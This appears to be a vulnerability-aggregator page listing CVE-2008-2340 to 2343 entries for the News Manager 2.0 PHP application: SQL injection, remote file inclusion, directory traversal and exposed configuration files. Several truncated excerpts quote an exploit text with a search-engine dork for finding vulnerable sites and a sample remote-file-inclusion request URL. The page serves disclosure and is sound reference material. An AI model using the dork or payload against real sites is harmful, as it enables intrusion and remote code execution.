EUVD-2008-2339

Malware in sbrugna...

newsmanager 2.0 (rfi/rfd/sql/pb) Multiple Vulnerabilities

No description provided by source. News Manager 2.0 Multiple Vulnerabilities Script : http://superb-east.dl.sourceforge.net/sourceforge/newsrssmanager/newsmanager2.0.zip Dork : Copyrights © 2005 Belgische Federale Overheidsdiensten 1- Remote File Include Vulnerability...

Sql injection

Multiple SQL injection vulnerabilities in News Manager 2.0 allow remote attackers to execute arbitrary SQL commands via the 1 lang parameter to a advsearch.php, b archive.php, and c index.php, and the 2 pid parameter to d listtagitems.php...

Remote file inclusion

PHP remote file inclusion vulnerability in chreadalso.php in News Manager 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the readxmlinclude parameter...

CVE-2008-2342

Directory traversal vulnerability in attachments.php in News Manager 2.0 allows remote attackers to read arbitrary files via a .. dot dot in the id parameter...

Directory traversal

Directory traversal vulnerability in attachments.php in News Manager 2.0 allows remote attackers to read arbitrary files via a .. dot dot in the id parameter...

CVE-2008-2340

Multiple SQL injection vulnerabilities in News Manager 2.0 allow remote attackers to execute arbitrary SQL commands via the 1 lang parameter to a advsearch.php, b archive.php, and c index.php, and the 2 pid parameter to d listtagitems.php...

CVE-2008-2340

CVE-2008-2340 affects News Manager 2.0 with multiple SQL injection vulnerabilities. Remote attackers can exploit the (1) lang parameter in advsearch.php, archive.php, and index.php, and the (2) pid parameter in list_tagitems.php to execute arbitrary SQL commands. The entry is documented with a hi...

CVE-2008-2343

CVE-2008-2343 affects News Manager 2.0, where remote attackers can bypass restrictions and obtain sensitive information by directly requesting (1) db/connect_str.php and (2) login/info.php. The CVSS data shows Network-only access, no user interaction, with Partial confidentiality/integrity/availa...

CVE-2008-2343

News Manager 2.0 allows remote attackers to bypass restrictions and obtain sensitive information via a direct request to 1 db/connectstr.php and 2 login/info.php...

CVE-2008-2342

CVE-2008-2342 describes a Directory traversal in News Manager 2.0: attachments.php allows remote attackers to read arbitrary files by supplying .. in the id parameter. Root cause is inadequate validation of the id parameter, enabling path traversal. Impact is partial file disclosure on the affect...

CVE-2008-2341

The CVE-2008-2341 entry concerns News Manager 2.0, where a PHP remote file inclusion flaw exists in ch_readalso.php. An attacker can supply a URL in the read_xml_include parameter to cause remote PHP code execution. The vulnerability is classified as high severity (CVSSv2 base score 7.5) with net...

CVE-2008-2340

Multiple SQL injection vulnerabilities in News Manager 2.0 allow remote attackers to execute arbitrary SQL commands via the 1 lang parameter to a advsearch.php, b archive.php, and c index.php, and the 2 pid parameter to d listtagitems.php...

CVE-2008-2343: Undefined Security Weakness

News Manager 2.0 allows remote attackers to bypass restrictions and obtain sensitive information via a direct request to 1 db/connectstr.php and 2 login/info.php...

newsmanager-rfisql.txt

News Manager 2.0 Multiple Vulnerabilities Script : http://superb-east.dl.sourceforge.net/sourceforge/newsrssmanager/newsmanager2.0.zip Dork : "Copyrights © 2005 Belgische Federale Overheidsdiensten" 1- Remote File Include Vulnerability /chreadalso.php?readxmlinclude=http://localhost/020.txt 2-...

newsmanager 2.0 - Remote File Inclusion File Disclosure SQL Injection

newsmanager 2.0 - Remote File Inclusion File Disclosure SQL Injection News Manager 2.0 Multiple Vulnerabilities Script : http://superb-east.dl.sourceforge.net/sourceforge/newsrssmanager/newsmanager2.0.zip Dork : "Copyrights © 2005 Belgische Federale Overheidsdiensten" 1- Remote File Include...

Newsmanager 2.0 (RFI/RFD/SQL/PB) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ================================================================ Newsmanager 2.0 RFI/RFD/SQL/PB Multiple Remote Vulnerabilities ================================================================ News Manager 2.0 Multiple Vulnerabilities Scri...

newsmanager 2.0 - Remote File Inclusion / File Disclosure / SQL Injection

News Manager 2.0 Multiple Vulnerabilities Script : http://superb-east.dl.sourceforge.net/sourceforge/newsrssmanager/newsmanager2.0.zip Dork : "Copyrights © 2005 Belgische Federale Overheidsdiensten" 1- Remote File Include Vulnerability /chreadalso.php?readxmlinclude=http://localhost/020.txt 2-...